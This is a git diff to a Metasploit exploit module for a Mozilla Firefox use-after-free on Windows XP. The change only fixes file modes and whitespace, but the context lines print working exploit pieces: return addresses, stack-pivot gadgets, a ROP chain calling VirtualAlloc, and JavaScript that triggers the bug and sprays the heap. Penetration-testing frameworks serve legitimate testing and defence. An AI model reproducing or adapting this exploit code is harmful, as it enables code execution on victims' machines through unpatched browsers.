diff --git a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb
old mode 100755
new mode 100644
index c85969421b..71b6892fd2
--- a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb
+++ b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb
@@ -72,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote
 							'Ret'		=> 0x0C0C0C0C,
 							'OffSet'	=> 0x606,
 							'Size'		=> 0x40000,
-							'StackFlip'	=> 0x1000ed58, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]		 
-							'PopEsp'	=> [ 0x0c0c0c0c, 0x10006a01, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]	
+							'StackFlip'	=> 0x1000ed58, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]
+							'PopEsp'	=> [ 0x0c0c0c0c, 0x10006a01, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]
 							'FF'		=> 9,
 							'OS'		=> 'XP'
 						}
@@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
 							'Ret'		=> 0x0C0C0C0C,
 							'OffSet'	=> 0x606,
 							'Size'		=> 0x40000,
-							'StackFlip'	=> 0x1000ed4a, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]		 
+							'StackFlip'	=> 0x1000ed4a, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]
 							'PopEsp'	=> [ 0x0c0c0c0c, 0x10006a11, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]
 							'FF'		=> 901,
 							'OS'		=> 'XP'
@@ -122,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
 			rop_chain =
 			[
-				0x7819c80a,     # POP EAX # RETN [MOZCRT19.dll] 
+				0x7819c80a,     # POP EAX # RETN [MOZCRT19.dll]
 				0x781a909c,     # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
 				0x7813af5d,     # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
 				0x78197f06,     # XCHG EAX,ESI # RETN [MOZCRT19.dll]
@@ -357,16 +357,16 @@ class Metasploit3 < Msf::Exploit::Remote
 			#{attr_name}.value = "#{bar_name}";
 
 			var #{ni_name} = document.createNodeIterator(
- 				#{attr_name}, NodeFilter.SHOW_ALL,
-		 		{acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }},
- 				false);
+				#{attr_name}, NodeFilter.SHOW_ALL,
+				{acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }},
+				false);
 
 			#{ni_name}.nextNode();
 			#{ni_name}.nextNode();
 			#{ni_name}.previousNode();
 
 			#{attr_name}.value = null;
- 
+
 			const #{addr_name} = unescape("#{filler_js}");
 			var #{container_name} = new Array();
 			var #{small_name} = unescape("#{popesp_js}")